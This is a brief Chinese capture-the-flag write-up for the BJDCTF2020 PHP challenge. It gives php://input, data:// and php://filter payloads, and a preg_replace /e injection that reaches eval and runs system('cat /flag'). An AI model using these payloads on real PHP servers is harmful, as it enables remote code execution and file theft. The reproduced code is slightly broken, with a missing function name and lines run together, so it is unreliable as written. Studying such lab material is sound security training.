[BJDCTF2020]ZJCTF,不过如此
题目
<?phperror_reporting(0);$text = $_GET["text"];$file = $_GET["file"];if(isset($text)&&(($text,'r')==="I have a dream")){echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";if(preg_match("/flag/",$file)){die("Not now!");}# 暗示了包含的文件是next.phpinclude($file); //next.php}else{highlight_file(__FILE__);}?>
考点
1、php://input或data:// 绕过file_get_contents
2、php://filter 读取文件内容
3、preg_replace /e 代码执行漏洞,参考文章
解题
payload
?text=php://input&file=php://filter/read=convert.base64-encode/resource=next.php POST: I have a dream
或者
?text=data://text/plain,I%20have%20a%20dream&file=php://filter/read/convert.base64-encode/resource=next.php

解密得到next.php的源码
preg_replace /e 代码执行漏洞参考文章
php 5.5之后/e已被弃用
<?php$id = $_GET['id'];$_SESSION['id'] = $id;function complex($re, $str) {# 会导致第二个参数的字符串将会当作代码执行return preg_replace('/(' . $re . ')/ei','strtolower("\\1")',$str);}foreach($_GET as $re => $str) {echo complex($re, $str). "\n";}function getFlag(){@eval($_GET['cmd']);}
/next.php?\S=${getFlag()}&cmd=phpinfo();
/next.php?\S=${getFlag()}&cmd=system(%27cat%20/flag%27);
